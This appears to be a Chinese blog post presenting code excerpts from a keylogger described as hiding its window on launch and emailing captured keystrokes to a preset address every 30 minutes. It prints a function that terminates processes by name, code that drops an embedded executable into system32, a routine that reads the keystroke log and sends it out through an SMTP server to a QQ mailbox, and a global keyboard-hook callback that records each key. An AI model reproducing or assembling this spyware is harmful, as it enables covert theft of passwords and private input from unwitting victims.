键盘记录Alpha版

分享一下我老师大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

               

功能如下,运行后自动隐藏界面,然后记录键盘,每隔30分钟会向预先设定的邮箱发一封记录邮件,功能还不是很完善。我就不把程序放上来了,就贴几段源代码吧。

1.TerminateProcessByName   //根据进程名称结束指定进程

void TerminateProcessByName(CString processName){HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//--------------------------------------//查询进程//--------------------------------------PROCESSENTRY32  processInfo;CString strProcessName= "";DWORD  nProcessID=0;HANDLE processHandle;int nProcessTerminate=0;processInfo.dwSize=sizeof(PROCESSENTRY32);//获取第一个进程BOOL status=Process32First(snapShot,&processInfo);while(status){//获取进程名字strProcessName = processInfo.szExeFile;//查询比较是否为要结束的进程if(processName.CompareNoCase(strProcessName)==0){//获取进程IDnProcessID=processInfo.th32ProcessID;processHandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, nProcessID );if(processHandle==NULL){return;}//结束一个进程TerminateProcess(processHandle,0);}//获取下一个进程status=Process32Next(snapShot,&processInfo);}}


2. 实现指定资源文件的拷贝  //这段代码解决了全局钩子必须使用动态链接库这个问题

HANDLE hFile = CreateFile("C:\\WINDOWS\\system32\\picture.exe", GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(141),"Exe");LPCVOID lp=LockResource(LoadResource(NULL,hrsrc));DWORD fileSize=SizeofResource(NULL,hrsrc);WriteFile(hFile,lp,fileSize,&writeSize,NULL);CloseHandle(hFile);3.SendMyMail   //发送邮件BOOL _declspec(dllimport) WINAPI SendMail(  LPCSTR smtpserver, LPCSTR user, LPCSTR password, LPCSTR mailfrom, LPCSTR mailto, LPCSTR subject, LPCSTR msgbody );BOOL _declspec(dllimport) WINAPI GetSmtpError(LPSTR strerrmsg);void SendMyMail(){FILE* f=fopen("C:\\WINDOWS\\system32\\logforkeyboard.db","a+");char buffer[2002];fread(buffer,sizeof(char),2000,f);fclose(f);char* stserver="smtp.163.com";char* user="***********";char* pwd="**********";char* sender="***********";char* receiver="********@qq.com";char* title="The log for keyboard";char* body=buffer;SendMail(stserver,user,pwd,sender,receiver,title,body);remove("C:\\WINDOWS\\system32\\logforkeyboard.db");}4.KeyboardProc  //关键的函数,键盘记录LRESULT CALLBACK KeyboardProcint code,       // hook code WPARAM wParam,  // virtual-key code LPARAM lParam   // keystroke-message information ){if('U'==wParam&&(1==(lParam>>29 & 1))){SendMessage(g_hWnd,WM_CLOSE,0,0);UnhookWindowsHookEx(g_hKeyboard);}if (lParam& 0x40000000){return CallNextHookEx(g_hKeyboard,code,wParam,lParam);}else{char c=getKeyText(wParam);WriteToDbFile(c);}return CallNextHookEx(g_hKeyboard,code,wParam,lParam);}
           

分享一下我老师大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

猜你喜欢

转载自blog.csdn.net/qq_43661383/article/details/87932775